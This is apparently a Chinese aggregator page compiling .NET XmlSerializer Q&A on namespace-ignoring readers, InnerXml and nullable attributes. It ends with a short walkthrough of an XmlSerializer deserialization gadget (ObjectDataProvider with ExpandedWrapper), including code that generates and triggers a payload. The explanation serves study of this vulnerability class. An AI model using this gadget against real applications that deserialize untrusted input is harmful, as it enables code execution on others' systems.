GVKun编程网logo

我可以使XmlSerializer在反序列化时忽略名称空间吗?(xml反序列化成对象)

18

在本文中,我们将为您详细介绍我可以使XmlSerializer在反序列化时忽略名称空间吗?的相关知识,并且为您解答关于xml反序列化成对象的疑问,此外,我们还会提供一些关于.NETXmlSeriali

在本文中,我们将为您详细介绍我可以使XmlSerializer在反序列化时忽略名称空间吗?的相关知识,并且为您解答关于xml反序列化成对象的疑问,此外,我们还会提供一些关于.NET XmlSerializer类可以将InnerXml反序列化为字符串吗?、.NET XML反序列化忽略名称空间、.net – 使用XmlSerializer将空的xml属性值反序列化为可空的int属性、.Net反序列化漏洞XmlSerializer的示例分析的有用信息。

本文目录一览:

我可以使XmlSerializer在反序列化时忽略名称空间吗?(xml反序列化成对象)

我可以使XmlSerializer在反序列化时忽略名称空间吗?(xml反序列化成对象)

我可以使XmlSerializer在反序列化时忽略名称空间(xmlns属性),以便无论是否添加该属性,或者即使该属性是伪造的,都无关紧要?我知道源将始终受到信任,因此我不在乎xmlns属性。

答案1

小编典典

是的,您可以告诉XmlSerializer在反序列化期间忽略名称空间。

定义一个XmlTextReader忽略名称空间。像这样:

// helper class to ignore namespaces when de-serializingpublic class NamespaceIgnorantXmlTextReader : XmlTextReader{    public NamespaceIgnorantXmlTextReader(System.IO.TextReader reader): base(reader) { }    public override string NamespaceURI    {        get { return ""; }    }}// helper class to omit XML decl at start of document when serializingpublic class XTWFND  : XmlTextWriter {    public XTWFND (System.IO.TextWriter w) : base(w) { Formatting= System.Xml.Formatting.Indented;}    public override void WriteStartDocument () { }}

这是一个示例,说明如何使用该TextReader反序列化:

public class MyType1 {    public string Label    {        set {  _Label= value; }         get { return _Label; }     }    private int _Epoch;    public int Epoch    {        set {  _Epoch= value; }         get { return _Epoch; }     }        }    String RawXml_WithNamespaces = @"      <MyType1 xmlns=''urn:booboo-dee-doo''>        <Label>This document has namespaces on its elements</Label>        <Epoch xmlns=''urn:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa''>0</Epoch>      </MyType1>";    System.IO.StringReader sr;    sr= new System.IO.StringReader(RawXml_WithNamespaces);    var o1= (MyType1) s1.Deserialize(new NamespaceIgnorantXmlTextReader(sr));    System.Console.WriteLine("\n\nDe-serialized, then serialized again:\n");    s1.Serialize(new XTWFND(System.Console.Out), o1, ns);    Console.WriteLine("\n\n");

结果是这样的:

    <MyType1>      <Label>This document has namespaces on its elements</Label>      <Epoch>0</Epoch>    </MyType1>

.NET XmlSerializer类可以将InnerXml反序列化为字符串吗?

.NET XmlSerializer类可以将InnerXml反序列化为字符串吗?

我有一个非常具体的反序列化需求,请参见下面的示例:

说我有以下课程:

[序列化]
公共类人{
  public string Name {get;组; }
  public string PersonXml {get;组; }
}

并遵循XML

<Person>
  <Name>John</Name>
  <PersonXml><someXmlFragment>text</someXmlFragment></PersonXml>
</Person>

我想要的是XmlSerializer类来反序列化< PersonXml>的InnerXml. PersonXml属性的元素作为字符串.
我想知道是否可以做到.

注意:
我知道我可以编码< PersonXml>的内容逃避非法的XML字符,但我更希望让内部XML更加人性化(不包含& lt;以及其他只能与我的最终用户共享的实体)

解决方法

您始终可以实现IXmlSerializable,并通过XmlReader执行您喜欢的任何操作.

.NET XML反序列化忽略名称空间

.NET XML反序列化忽略名称空间

我在所有相同的模式/结构之后获得了数千个 XML文件.
我实现了IXmlSerializable,因此我自己阅读元素和属性.

我的问题是这些文件都使用不同的虚假命名空间.这些文件来自其他来源,因此我无法改变:D
另外,对于我来说,有太多的命名空间只是构建一个可能的命名空间数组并将其传递给xmlserializer.

现在,如果我没有指定命名空间,它会抛出[xmlns:ns0 =“http://tempuri.org/abcd.xsd”不是预期的]错误.

我希望能够告诉序列化程序在反序列化我的对象时简单地忽略命名空间并且只需触发readxml.或者只是能够告诉它接受任何“http://tempuri.org/”命名空间.

那可能吗?

我想尽量避免修改文件.

谢谢!

对的,这是可能的.当您调用XmlSerializer的Deserialize方法时,您可以指定XmlTextReader实例.

This answer by Cheeso on a related C# question显示了如何创建一个忽略XML文件中出现的任何名称空间的XmlTextReader.我冒昧地将他的想法转化为VB,并根据您的要求创建一个简单的概念验证示例:

Imports System.IO
Imports System.Text
Imports System.Xml
Imports System.Xml.Serialization

' Helper class
Class NamespaceIgnorantXmlTextReader
    Inherits XmlTextReader

    Public Sub New(stream As Stream)
        MyBase.New(stream)
    End Sub

    Public Overrides ReadOnly Property NamespaceURI As String
        Get
            Return ""
        End Get
    End Property
End Class

' Serializable class
Public Class ExampleClass
    Public Property MyProperty As String
End Class

' Example
Module Module1
    Sub Main()
        Dim testXmlStream = New MemoryStream(Encoding.UTF8.GetBytes(
            "<ExampleClass xmlns=""http://tempuri.org/SomePhonyNamespace1.xsd"" 
                           xmlns:ph2=""http://tempuri.org/SomePhonyNamespace2.xsd"">
                 <ph2:MyProperty>SomeValue</ph2:MyProperty>
             </ExampleClass>"))

        Dim serializer As New XmlSerializer(GetType(ExampleClass))
        Dim reader As New NamespaceIgnorantXmlTextReader(testXmlStream)
        Dim example = DirectCast(serializer.Deserialize(reader),ExampleClass)

        Console.WriteLine(example.MyProperty)   ' prints SomeValue
    End Sub
End Module

注意:如果它只是文档的默认命名空间不同(即,各个标签没有不同的命名空间),则使用标准textxmlReader并将Namespaces属性设置为False就足够了.

Imports System.IO
Imports System.Text
Imports System.Xml
Imports System.Xml.Serialization

' Serializable Class
Public Class ExampleClass
    Public Property MyProperty As String
End Class

' Example
Module Module1
    Sub Main()
        Dim testXmlStream = New MemoryStream(Encoding.UTF8.GetBytes(
            "<ExampleClass xmlns=""http://tempuri.org/SomePhonyNamespace1.xsd"">
                 <MyProperty>SomeValue</MyProperty>
             </ExampleClass>"))

        Dim serializer As New XmlSerializer(GetType(ExampleClass))
        Dim reader As New XmlTextReader(testXmlStream)
        reader.Namespaces = False
        Dim example = DirectCast(serializer.Deserialize(reader),ExampleClass)

        Console.WriteLine(example.MyProperty)   ' prints SomeValue
    End Sub
End Module

.net – 使用XmlSerializer将空的xml属性值反序列化为可空的int属性

.net – 使用XmlSerializer将空的xml属性值反序列化为可空的int属性

我从第三方得到一个XML,我需要反序列化成C#对象。此xml可能包含带有整数类型或空值的属性:attr =“11”或attr =“”。我想反序列化这个属性值到类型为nullable integer的属性。但XmlSerializer不支持反序列化为可空类型。以下测试代码在使用InvalidOperationException创建XMLSerializer期间失败{“反映类型为”TestConsoleApplication.SerializeMe“的错误。
[XmlRoot("root")]
public class SerializeMe
{
    [XmlElement("element")]
    public Element Element { get; set; }
}

public class Element
{
    [XmlAttribute("attr")]
    public int? Value { get; set; }
}

class Program {
    static void Main(string[] args) {
        string xml = "<root><element attr=''>valE</element></root>";
        var deserializer = new XmlSerializer(typeof(SerializeMe));
        Stream xmlStream = new MemoryStream(Encoding.ASCII.GetBytes(xml));
        var result = (SerializeMe)deserializer.Deserialize(xmlStream);
    }
}

当我将“Value”属性的类型更改为int时,反序列化失败,并返回InvalidOperationException:

There is an error in XML document (1,16).

任何人可以建议如何反序列化属性与空值为可空类型(作为null)同时反序列化非空的属性值为整数?有这里的任何技巧,所以我不必手动地做每个字段反序列化(实际上有很多他们)?

更新后,从ahsteele的注释:

> Xsi:nil attribute

据我所知,这个属性只适用于XmlElementAttribute – 此属性指定元素没有内容,无论是子元素还是主体文本。但我需要找到XmlAttributeAttribute的解决方案。反正我不能改变xml,因为我没有控制它。
> bool *Specified property

此属性仅在属性值非空或属性缺失时工作。当attr具有空值(attr =”)时,XmlSerializer构造函数失败(如预期的那样)。

public class Element
{
    [XmlAttribute("attr")]
    public int Value { get; set; }

    [XmlIgnore]
    public bool ValueSpecified;
}

> Custom Nullable class like in this blog post by Alex Scordellis

我试图采纳从这篇博客的类到我的问题:

[XmlAttribute("attr")]
public NullableInt Value { get; set; }

但XmlSerializer构造函数失败,并返回InvalidOperationException:

Cannot serialize member ‘Value’ of type TestConsoleApplication.NullableInt.

XmlAttribute/XmlText cannot be used to encode types implementing IXmlSerializable }

>丑陋的代理解决方案(耻辱我,我在这里写这个代码:)):

public class Element
{
    [XmlAttribute("attr")]
    public string SetValue { get; set; }

    public int? GetValue()
    {
        if ( string.IsNullOrEmpty(SetValue) || SetValue.Trim().Length <= 0 )
            return null;

        int result;
        if (int.TryParse(SetValue,out result))
            return result;

        return null;
    }
}

但我不想提出这样的解决方案,因为它打破了我的类的消费者的接口。我最好手动实现IXmlSerializable接口。

目前,它看起来像我必须实现IXmlSerializable为整个Element类(它是大),没有简单的解决方法…

这应该工作:
[XmlIgnore]
public int? Age { get; set; }

[XmlElement("Age")]
public string AgeAsText
{
  get { return (Age.HasValue) ? Age.ToString() : null; } 
  set { Age = !string.IsNullOrEmpty(value) ? int.Parse(value) : default(int?); }
}

.Net反序列化漏洞XmlSerializer的示例分析

.Net反序列化漏洞XmlSerializer的示例分析

小编今天带大家了解.Net反序列化漏洞XmlSerializer的示例分析,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入学习“.Net反序列化漏洞XmlSerializer的示例分析”的知识吧。

条件:

  1. 初始化对象时,类型可控:new XmlSerializer(type可控)

  2. 反序列化对象时,输入内容可控:serializer.Deserialize(fi可控)

两个关键类:ObjectDataProvider, ExpandedWrapper

//PresentationFramework.dll  v4.0.0.0
System.Windows.Data.ObjectDataProvider

//System.Data.Services.dll   v4.0.0.0
System.Data.Services.Internal.ExpandedWrapper

Payload生成:

        public static void serializeObjectWithXmlSer()
        {
            ExpandedWrapper<Class2, ObjectDataProvider> eobj = new ExpandedWrapper<Class2,ObjectDataProvider>();
            XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<Class2, ObjectDataProvider>));
            eobj.ProjectedProperty0 = new ObjectDataProvider();
            eobj.ProjectedProperty0.ObjectInstance = new Class2();
            eobj.ProjectedProperty0.MethodName = "writeFile";
            eobj.ProjectedProperty0.MethodParameters.Add("xxxxx");
            eobj.ProjectedProperty0.MethodParameters.Add("ser.txt");

            TextWriter fo = new StreamWriter("d:/tmp/xmlser.txt");
            serializer.Serialize(fo, eobj);
            fo.Close();
        }

触发Payload:

        public static void deserializeObjectWithXmlSer()
        {
            XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper<Class2, ObjectDataProvider>));
            TextReader fi = new StreamReader("d:/tmp/xmlser.txt");
            ser.Deserialize(fi);
            fi.Close();
        }

感谢大家的阅读,以上就是“.Net反序列化漏洞XmlSerializer的示例分析”的全部内容了,学会的朋友赶紧操作起来吧。相信小编小编一定会给大家带来更优质的文章。谢谢大家对小编网站的支持!

关于我可以使XmlSerializer在反序列化时忽略名称空间吗?xml反序列化成对象的介绍已经告一段落,感谢您的耐心阅读,如果想了解更多关于.NET XmlSerializer类可以将InnerXml反序列化为字符串吗?、.NET XML反序列化忽略名称空间、.net – 使用XmlSerializer将空的xml属性值反序列化为可空的int属性、.Net反序列化漏洞XmlSerializer的示例分析的相关信息,请在本站寻找。

本文标签: